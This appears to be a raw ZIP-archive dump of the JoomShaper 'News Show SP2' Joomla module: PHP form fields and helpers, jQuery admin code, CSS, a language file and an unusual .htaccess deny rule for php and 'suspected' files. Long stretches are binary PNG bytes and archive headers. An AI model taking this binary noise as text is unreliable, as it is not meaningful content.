���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڌСA���
�i�h��a���@��y�4�
DI�%���ڮ����}��p
�IZI�?�N#�(�!��L��8�9RN[/�p�k�1Ź�7H*&x��v]V����M�qǸ��Š�Y=/�}�sX��j��IEND�B`�PK!I�wYY+mod_news_show_sp2/elements/images/arrow.pngnu&1i��PNG


IHDR���	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx�\�1AA��,/J�P��V���P��J���$.��H4n 
G�'Ьd�j2�3S�16���dT��
c�/p�m�F+`�)
LpA/
tR��{HE�p�gh`�f��
��.nJ�8�n�*��IEND�B`�PK!��E��+mod_news_show_sp2/elements/vmcategories.phpnu&1i�<?php

/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

defined('_JEXEC') or die();

$path = JPATH_ADMINISTRATOR . '/components/com_virtuemart/fields/vmcategories.php';

if(file_exists($path)) {
	require_once $path;
}PK!4T���'mod_news_show_sp2/elements/js/script.jsnu&1i�/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

jQuery(function($) {
	
	$('#jform_params_asset-lbl').parent().parent().remove();

	nssp2_showhide();

	$("#jform_params_article_count_title_text,#jform_params_article_count_intro_text,#jform_params_article_more_text,#jform_params_article_image_float,#jform_params_links_title_count,#jform_params_links_intro_count,#jform_params_links_more_text,#jform_params_links_image_float").parent().parent().css("display", "none");
	
	$('#jform_params_article_count_title_text').insertAfter($('#jform_params_article_title_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_article_count_intro_text').insertAfter($('#jform_params_article_intro_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_article_image_float').insertAfter($('#jform_params_article_image_pos').wrap('<div class="nssp2" />'));
	$('#jform_params_article_more_text').insertAfter($('#jform_params_article_show_more').wrap('<div class="nssp2" />'));
	$('#jform_params_links_title_count').insertAfter($('#jform_params_links_title_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_links_intro_count').insertAfter($('#jform_params_links_intro_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_links_more_text').insertAfter($('#jform_params_links_more').wrap('<div class="nssp2" />'));
	$('#jform_params_links_image_float').insertAfter($('#jform_params_links_image_pos').wrap('<div class="nssp2" />'));
	
	$('#jform_params_content_source, #jform_params_article_animation, #jform_params_links_animation').change(function(){
		nssp2_showhide();
	});

	function nssp2_showhide(){

		if ($("#jform_params_content_source").val()=="k2") {
			$("#jform_params_catids").parent().parent().css("display", "none");
			$("#jformparamsk2catids,#jform_params_article_extra_fields").parent().parent().css("display", "block");		
		} else {
			$("#jform_params_catids").parent().parent().css("display", "block");	
			$("#jformparamsk2catids,#jform_params_article_extra_fields").parent().parent().css("display", "none");		
		}
		
		//Virtuemart
		if ($("#jform_params_content_source").val()=="vm") {
			$(".vm,#jform_params_vmcat-lbl").parent().parent().css("display", "block");
			$("#jform_params_ordering,#jform_params_ordering_direction-lbl,#jformparamsk2catids,#jform_params_catids,#jform_params_user_id-lbl,#jform_params_show_featured-lbl").parent().parent().css("display", "none");
		} else {
			$(".vm,#jform_params_vmcat-lbl").parent().parent().css("display", "none");
			$("#jform_params_ordering,#jform_params_ordering_direction-lbl,#jform_params_user_id-lbl,#jform_params_show_featured-lbl").parent().parent().css("display", "block");
		}
		
		//block1 animation
		if ($("#jform_params_article_animation").val()=="disabled") {
			$(".ani1").parent().parent().css("display", "none");
		} else {
			$(".ani1").parent().parent().css("display", "block");
		}

		if ($("#jform_params_links_animation").val()=="disabled") {
			$(".ani2").parent().parent().css("display", "none");
		} else {
			$(".ani2").parent().parent().css("display", "block");
		}

	}
});PK!�#o,,(mod_news_show_sp2/elements/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,)mod_news_show_sp2/elements/css/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�Vi%��(mod_news_show_sp2/elements/css/style.cssnu&1i�/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2014 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/
div.nssp2 {}
	div.nssp2 fieldset {float:left}
	div.nssp2 input[type=text] {float:left;width:100px;margin:0 0 0 10px}
	div.nssp2 #jform_params_article_image_pos_chzn,
	div.nssp2 #jform_params_links_image_pos_chzn{float:left;margin:0 10px 0 0}PK!�,__)mod_news_show_sp2/elements/k2category.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.form.formfield');
class JFormFieldK2Category extends JFormField {
	
	var	$type = 'k2category';
	
	function getInput(){
		$db = JFactory::getDBO();
		$fieldName = $this->name.'[]';
		
		if (file_exists(JPATH_BASE. '/components/com_k2')) {
			$query = 'SELECT m.* FROM #__k2_categories m WHERE published=1 AND trash = 0 ORDER BY parent, ordering';
			$db->setQuery($query);
			$mitems = $db->loadObjectList();
			if (count($mitems)) {
				$children = array();
				if ($mitems)
				{
					foreach ($mitems as $v)
					{
						$v->title = $v->name;
						$v->parent_id = $v->parent;
						$pt = $v->parent;
						$list = @$children[$pt] ? $children[$pt] : array();
						array_push($list, $v);
						$children[$pt] = $list;
					}
				}
				$list = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
				$mitems = array();

				foreach ($list as $item)
				{
					$item->treename = JString::str_ireplace('&#160;', '- ', $item->treename);
					$mitems[] = JHTML::_('select.option', $item->id, '   '.$item->treename);
				}

				$output = JHTML::_('select.genericlist', $mitems, $fieldName, 'class="inputbox" multiple="multiple" size="10"', 'value', 'text', $this->value);
			} else {
				$mitems[] = JHTML::_('select.option', 0, 'There is no K2 category available.');
				$output   = JHtml::_('select.genericlist', $mitems, $fieldName, 'class="inputbox" disabled="disabled" multiple="multiple" style="width:160px" size="5"', 'value', 'text', $this->value);		
			}
		
		} else {
			$mitems = array();
			$mitems[] = JHTML::_('select.option', 0, 'K2 is not installed');
			$output   = JHtml::_('select.genericlist', $mitems, $fieldName, 'class="inputbox" disabled="disabled" multiple="multiple" style="width:160px" size="5"', 'value', 'text', $this->value);
		}
		
		return $output;
	}
}PK!�#o,,mod_news_show_sp2/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��jy\\mod_news_show_sp2/helper.phpnu&1i�<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

require_once JPATH_SITE.'/components/com_content/helpers/route.php';
jimport( 'joomla.plugin.helper');
JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');

abstract class modNSSP2JHelper
{
	public static function getList($params,$count){
		
		$app	= JFactory::getApplication();
		$db		= JFactory::getDbo();

		//Parameters
		$catids								= $params->get('catids', array());
		
		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		// Set the filters based on the module params
		$model->setState('list.start', 0);
		$model->setState('list.limit', (int) $count);
		$model->setState('filter.published', 1);
		
		// Access filter
		$access = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);		
		
		//sp comments
		if (JPluginHelper::isEnabled('content', 'spcomments')) {
			$plgname 	= JPluginHelper::getPlugin('content', 'spcomments');
			$plgParams 	= json_decode($plgname->params);
		}
		//sp comments
		
		// Category filter
		$model->setState('filter.category_id', $catids);
		
		// User filter
		$userId = JFactory::getUser()->get('id');
		switch ($params->get('user_id'))
		{
			case 'by_me':
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me':
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case '0':
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}


		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());		

		//  Featured switch
		switch ($params->get('show_featured'))
		{
			case '1':
				$model->setState('filter.featured', 'only');
				break;
			case '0':
				$model->setState('filter.featured', 'hide');
				break;
			default:
				$model->setState('filter.featured', 'show');
				break;
		}

		$ordering 			= $params->get('ordering', 'a.ordering');
		$ordering_direction	= $params->get('ordering_direction', 'ASC');

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $ordering_direction);

		$items 				= $model->getItems();
		
		foreach ($items as &$item) {
			$item->slug 		= $item->id.':'.$item->alias;
			$item->catslug 		= $item->catid.':'.$item->category_alias;
			$author 			= JFactory::getUser($item->created_by);
			$item->author 		= ($item->created_by_alias) ? $item->created_by_alias : $author->name;
			$item->created 		= $item->created;
			$item->hits 		= $item->hits;
			$item->category 	= $item->category_title;
			$item->cat_link 	= JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid));
			$item->image 		= self::getImage($item->introtext,$item->images);
			$item->title 		= htmlspecialchars($item->title);
			$item->introtext 	= JHtml::_('content.prepare', $item->introtext);
			$item->link 		= JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug));

			if (JPluginHelper::isEnabled('content', 'spcomments'))
			{
				$item->comment 	= self::getComment($item->link, $item->catid, $plgParams);
			} 
			else
			{
				$item->comment 	= '<a class="ns2-comments" href="#">0 Comment</a>';
			}
			
			$item->rating 		= ($item->rating) ? number_format(intval($item->rating)/intval($item->rating_count), 2)*20 : 0;
		}	
		return $items;
		
	}
	
	private static function getImage($text, $image_src="") {
		$image_src = json_decode($image_src);		
		if (JVERSION>=2.5 && @$image_src->image_intro) {
			return $image_src->image_intro;
		} elseif (JVERSION>=2.5 && @$image_src->image_fulltext) {
			return $image_src->image_fulltext;
		} else {
			preg_match('/< *img[^>]*src *= *["\']?([^"\']*)/i', $text, $matches);	
			if (isset($matches[1])) {
				return $matches[1];
			}			
		}
	}
	
	//function to retrive comment from sp comments plugin
	private static function getComment($url, $catid, $params) {
		if (JPluginHelper::isEnabled('content', 'spcomments')) {
			if (in_array($catid, $params->catids)) {	
				//identifier
				$post_id			=substr(JURI::base(), 0, -1)."/".strstr($url, 'index.php');
				$identifier			= md5($post_id);
				//params
				$commenting_engine 	= $params->commenting_engine;
				$disqus_subdomain	= $params->disqus_subdomain;
				$disqus_devmode		= $params->disqus_devmode;
				$disqus_lang		= $params->disqus_lang;
				$intensedebate_acc	= $params->intensedebate_acc;
				$fb_appID			= $params->fb_appID;
				$fb_lang			= $params->fb_lang;
				
				if ($commenting_engine=="disqus") {//if disquss
					$link = '<a class="ns2-comments" href="' . $url . '#disqus_thread" data-disqus-identifier="' . $identifier . '"></a>';
				} else if ($commenting_engine=="intensedebate") {//intenseDebate
					$link = '<span class="containerCountComment">
							<script type="text/javascript">
							//<![CDATA[
									var idcomments_acct = "' . $intensedebate_acc . '";
									var idcomments_post_id = "' . $identifier . '";
									var idcomments_post_url = encodeURIComponent("' . $post_id . '");
							//]]>
							</script>
							<script type="text/javascript" src="http://www.intensedebate.com/js/genericLinkWrapperV2.js"></script>
					</span>';
				} else {//facebook
					$link = "<a class=\"ns2-comments\" href='$url'>Comments (<fb:comments-count href='$url'></fb:comments-count>)</a>";
				}
				return $link;
			}	
		}
	}
}PK!�+���mod_news_show_sp2/image.phpnu&1i�<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Image
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Class to manipulate an image.
 *
 * @package     Joomla.Platform
 * @subpackage  Image
 * @since       11.3
 */
class modNSSP2ImageHelper extends JImage
{

	/**
	 * Class constructor.
	 *
	 * @param   mixed  $source  Either a file path for a source image or a GD resource handler for an image.
	 *
	 * @since   11.3
	 * @throws  RuntimeException
	 */
	public function __construct($source = null)
	{
		parent::__construct( $source );
	}

	/**
	 * Method to generate thumbnails from the current image. It allows
	 * creation by resizing or cropping the original image.
	 *
	 * @param   mixed    $thumbSizes      String or array of strings. Example: $thumbSizes = array('150x75','250x150');
	 * @param   integer  $creationMethod  1-3 resize $scaleMethod | 4 create croppping | 5 resize then crop
	 *
	 * @return  array
	 *
	 * @since   12.2
	 * @throws  LogicException
	 * @throws  InvalidArgumentException
	 */
	public function generateThumbs($thumbSizes, $creationMethod = self::SCALE_INSIDE)
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new LogicException('No valid image was loaded.');
		}

		// Accept a single thumbsize string as parameter
		if (!is_array($thumbSizes))
		{
			$thumbSizes = array($thumbSizes);
		}

		// Process thumbs
		$generated = array();

		if (!empty($thumbSizes))
		{
			foreach ($thumbSizes as $thumbSize)
			{
				// Desired thumbnail size
				$size = explode('x', strtolower($thumbSize));

				if (count($size) != 2)
				{
					throw new InvalidArgumentException('Invalid thumb size received: ' . $thumbSize);
				}

				$thumbWidth  = $size[0];
				$thumbHeight = $size[1];

				switch ($creationMethod)
				{
					// Case for self::CROP
					case 4:
						$thumb = $this->crop($thumbWidth, $thumbHeight, null, null, true);
						break;

					// Case for self::CROP_RESIZE
					case 5:
						$thumb = $this->cropResize($thumbWidth, $thumbHeight, true);
						break;

					default:
						$thumb = $this->resize($thumbWidth, $thumbHeight, true, $creationMethod);
						break;
				}

				// Store the thumb in the results array
				$generated[] = $thumb;
			}
		}

		return $generated;
	}

	/**
	 * Method to create thumbnails from the current image and save them to disk. It allows creation by resizing
	 * or croppping the original image.
	 *
	 * @param   mixed    $thumbSizes      string or array of strings. Example: $thumbSizes = array('150x75','250x150');
	 * @param   integer  $creationMethod  1-3 resize $scaleMethod | 4 create croppping
	 * @param   string   $thumbsFolder    destination thumbs folder. null generates a thumbs folder in the image folder
	 *
	 * @return  array
	 *
	 * @since   12.2
	 * @throws  LogicException
	 * @throws  InvalidArgumentException
	 */
	public function createThumbs($thumbSizes, $creationMethod = self::SCALE_INSIDE, $thumbsFolder = null)
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new LogicException('No valid image was loaded.');
		}

		// No thumbFolder set -> we will create a thumbs folder in the current image folder
		if (is_null($thumbsFolder))
		{
			$thumbsFolder = dirname($this->getPath()) . '/thumbs';
		}

		// Check destination
		if (!is_dir($thumbsFolder) && (!is_dir(dirname($thumbsFolder)) || !@mkdir($thumbsFolder)))
		{
			throw new InvalidArgumentException('Folder does not exist and cannot be created: ' . $thumbsFolder);
		}

		// Process thumbs
		$thumbsCreated = array();

		if ($thumbs = $this->generateThumbs($thumbSizes, $creationMethod))
		{
			// Parent image properties
			$imgProperties = self::getImageFileProperties($this->getPath());

			foreach ($thumbs as $thumb)
			{
				// Get thumb properties
				$thumbWidth     = $thumb->getWidth();
				$thumbHeight    = $thumb->getHeight();

				// Generate thumb name
				$filename       = pathinfo($this->getPath(), PATHINFO_FILENAME);
				$fileExtension  = pathinfo($this->getPath(), PATHINFO_EXTENSION);
				$thumbFileName  = $filename . '_' . $thumbWidth . 'x' . $thumbHeight . '.' . $fileExtension;

				// Save thumb file to disk
				$thumbFileName = $thumbsFolder . '/' . $thumbFileName;

				if ($thumb->toFile($thumbFileName, $imgProperties->type))
				{
					// Return JImage object with thumb path to ease further manipulation
					$thumb->path = $thumbFileName;
					$thumbsCreated[] = $thumb;
				}
			}
		}

		return $thumbsCreated;
	}

	/**
	 * Method to crop an image after resizing it to maintain
	 * proportions without having to do all the set up work.
	 *
	 * @param   integer  $width      The desired width of the image in pixels or a percentage.
	 * @param   integer  $height     The desired height of the image in pixels or a percentage.
	 * @param   integer  $createNew  If true the current image will be cloned, resized, cropped and returned.
	 *
	 * @return  object  JImage Object for chaining.
	 *
	 * @since   12.3
	 */
	public function cropResize($width, $height, $createNew = true)
	{
		$width   = $this->sanitizeWidth($width, $height);
		$height  = $this->sanitizeHeight($height, $width);

		if (($this->getWidth() / $width) < ($this->getHeight() / $height))
		{
			$this->resize($width, 0, false);
		}
		else
		{
			$this->resize(0, $height, false);
		}

		return $this->crop($width, $height, null, null, $createNew);
	}

	/**
	 * Method to destroy an image handle and
	 * free the memory associated with the handle
	 *
	 * @return  boolean  True on success, false on failure or if no image is loaded
	 *
	 * @since   12.3
	 */
	public function destroy()
	{
		if ($this->isLoaded())
		{
			return imagedestroy($this->handle);
		}

		return false;
	}

	/**
	 * Method to call the destroy() method one last time
	 * to free any memory when the object is unset
	 *
	 * @see     JImage::destroy()
	 * @since   12.3
	 */
	public function __destruct()
	{
		$this->destroy();
	}
}
PK!�)��mod_news_show_sp2/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�+"DD6mod_news_show_sp2/language/en-GB.mod_news_show_sp2.ininu&1i�MODSFX="Module Class Suffix"
MODSFX_DESC="A suffix to be applied to the css class of the module (table.moduletable), this allows individual module styling"
COM_MODULES_DATASOURCE_FIELDSET_LABEL="Data Source"
COM_MODULES_ARTICLE_LAYOUT_FIELDSET_LABEL="Article Layout"
COM_MODULES_LINKS_LAYOUT_FIELDSET_LABEL="Links Layout"
UNIQID="Unique ID"
UNIQID_DESC="Set a unique id for this module or leave blank for auto id."
CONTENT_SOURCE="Content Source"
CONTENT_SOURCE_DESC="Content Source"
JOOMLA="Joomla"
MODK2="K2"
CATEGORY="Category"
CATEGORY_DESC="Select joomla category"
K2CATEGORY="K2 Category"
K2CATEGORY_DESC="Select K2 category"
ORDER="Ordering"
ORDER_DESC="Select which field you would like Articles to be ordered by."
JOOMLA_ORDERING="Ordering"
PUBLISHED_UP="Published"
HITS_TEXT="Hits"
TITLE="Title"
ID="ID"
ALIAS="Alias"
CREATED="Created Date"
MODIFIED="Modified Date"
ORDERING_FILTER="Ordering filter"
ORDERING_FILTER_DESC="Select the direction you would like Articles to be ordered by."
FILTER_DESC="Descending"
FILTER_ASC="Ascending"
AUTHORS="Authors"
AUTHORS_DESC="Filter by author"
ANYONE="Anyone"
BYME="Added or modified by me"
NOTBYME="Not added or modified by me"
FEATURED="Featured articles"
FEATURED_DESC="Show/Hide Articles designated as Featured"
ONLY_SHOW_FEATURED="Only show Featured Articles"
ARTICLE_COLUMN="Article columns"
ARTICLE_COLUMN_DESC="Set the number of columns visible on one page."
ARTICLE_ROW="Article rows"
ARTICLE_ROW_DESC="Set the number of rows visible on one page."
COLUMN_PADDING="Column padding"
COLUMN_PADDING_DESC="Padding of column as a CSS property value, eg. 3px 4px 3px 4px"
SHOW_TITLE="Show title"
SHOW_TITLE_DESC="Whether to show title"
LINKED_TITLE="Title linked"
LINKED_TITLE_DESC="Whether to link the title to the article."
TITLE_TEXT_LIMIT="Title text limit"
TITLE_TEXT_LIMIT_DESC="Set the text limit for title, set 0 for no limit."
SHOW_INTRO="Show Introtext"
SHOW_INTRO_DESC="Whether to show Introtext"
INTRO_TEXT_LIMIT="Intotext limit"
INTRO_TEXT_LIMIT_DESC="Set the text limit for introtext, set 0 for no limit."
WORDS="Words"
CHARS="Chars"
DATE_FORMAT="Date format"
DATE_FORMAT_DESC="Select the format of created date."
SHOW_AUTHOR="Show Author"
SHOW_AUTHOR_DESC="Whether to show Author name."
SHOW_CAT="Show category"
SHOW_CAT_DESC="Whether to show item category."
LINKED_CAT="Linked category"
LINKED_CAT_DESC="Whether to link the category of the item."
SHOW_RATINGS="Show ratings"
SHOW_RATINGS_DESC="Show ratings"
SHOW_DATE="Show date"
SHOW_DATE_DESC="Whether to show the date created."
SHOW_IMAGE="Show image"
SHOW_IMAGE_DESC="Whether to show the image."
LINKED_IMAGE="Linked image"
LINKED_IMAGE_DESC="Whether to link the article of the image."
IMGPOS="Image Position"
IMGPOS_DESC="Image Position"
DEFAULT="Default"
BEFORE_TITLE="Before title"
AFTER_TITLE="After title"
LEFT="Left"
RIGHT="Right"
IMG_MARGIN="Image Margin"
IMG_MARGIN_DESC="Image margin as a CSS property value, eg. 3px 4px 3px 4px. Leave blank for no margin."
THUMBWIDTH="Thumbnail width"
THUMBWIDTH_DESC="Thumbnail width eg. 160"
THUMBHEIGHT="Thumbnail height"
THUMBHEIGHT_DESC="Thumbnail height eg. 160"
RATIO="Aspect ratio"
RATIO_DESC="Whether keep aspect ratio for thumbnail or not?"
SHOW_EXTRA_FIELDS="Show K2 extra fields"
SHOW_EXTRA_FIELDS_DESC="Show K2 extra fields"
SHOW_READMORE="Show readmore"
SHOW_READMORE_DESC="Show/Hide readmore button"
SHOW_HITS="Show hits"
SHOW_HITS_DESC="Whether to show hits"
SHOW_COMMENTS="Show comments"
SHOW_COMMENTS_DESC="SP Comments need to have installed."
ANIMATION="Animation"
ANIMATION_DESC="Animation"
DISABLED="Disabled"
SLIDE="Slide"
FADE="Fade"
NOEFFECT="No Effect"
ARTICLE_SLIDE_COUNT="Number of slides"
ARTICLE_SLIDE_COUNT_DESC="Number of slides"
PAGINATION="Show pagination"
PAGINATION_DESC="Pagination"
JNONE="None"
COUNTER="Counter"
SHOW_ARROWS="Show arrows"
SHOW_ARROWS_DESC="Show arrows"
AUTOPLAY="Auto play"
AUTOPLAY_DESC="Auto play"
SHOW_PLAY_BUTTON="Show play button"
SHOW_PLAY_BUTTON_DESC="Show play button"
ACTIVATOR="Activator"
ACTIVATOR_DESC="Set animation activator"
CLICK="Click"
HOVER="Hover"
SPEED="Animation speed"
SPEED_DESC="Set the animation speed in ms, eg. 400"
INTERVAL="Animation interval"
INTERVAL_DESC="Set the interval between two slides in ms, eg. 5000"
TRANSITION="Animation transition"
TRANSITION_DESC="Animation transition"
LINKS_BLOCK="Show links block"
LINKS_BLOCK_DESC="Enable this option if you want to show links"
LINKS_COUNT="Links count"
LINKS_COUNT_DESC="Number of items to display as links."
LINKS_POSITION="Position"
LINKS_POSITION_DESC="Position of the links block"
BOTTOM="Bottom"
LINKS_BLOCK_PADDING="Padding"
LINKS_BLOCK_PADDING_DESC="Padding of links block as a CSS property value, eg. 3px 4px 3px 4px. Leave blank for no padding."
LINKS_MORE="Links more"
LINKS_MORE_DESC="Whether to show the More text."
MODNS2_CREATED="on"
MODNS2_WRITTEN="Written by"
MODNS2_CATEGORY="in"
COMMENTS_TEXT="Comments"
#blog type date
NSSP2_0="0"
NSSP2_1="1"
NSSP2_2="2"
NSSP2_3="3"
NSSP2_4="4"
NSSP2_5="5"
NSSP2_6="6"
NSSP2_7="7"
NSSP2_8="8"
NSSP2_9="9"
NSSP2_JANUARY="Jan"
NSSP2_FEBRUARY="Feb"
NSSP2_MARCH="Mar"
NSSP2_APRIL="Apr"
NSSP2_MAY="May"
NSSP2_JUNE="Jun"
NSSP2_JULY="Jul"
NSSP2_AUGUST="Aug"
NSSP2_SEPTEMBER="Sep"
NSSP2_OCTOBER="Oct"
NSSP2_NOVEMBER="Nov"
NSSP2_DECEMBER="Dec"
#Virtuemart
VMCATEGORY="Virtuemart Category"
VMCATEGORY_DESC="Select Virtuemart category"
MODVM="Virtuemart"
SHOW_PRICE="Show Price"
SHOW_PRICE_DESC="Whether to show the product price"
SHOW_CART_BUTTON="Show cart button"
SHOW_CART_BUTTON_DESC="Whether to show the cart button"
FEATURED_PRODUCTS="Featured Products"
LATEST_PRODUCTS="Latest Products"
RANDOM_PRODUCTS="Random Products"
BEST_SALES="Best Sales"
#Social Icons
LIKE_BUTTON="Like Button"
TWITTER="Twitter Share"
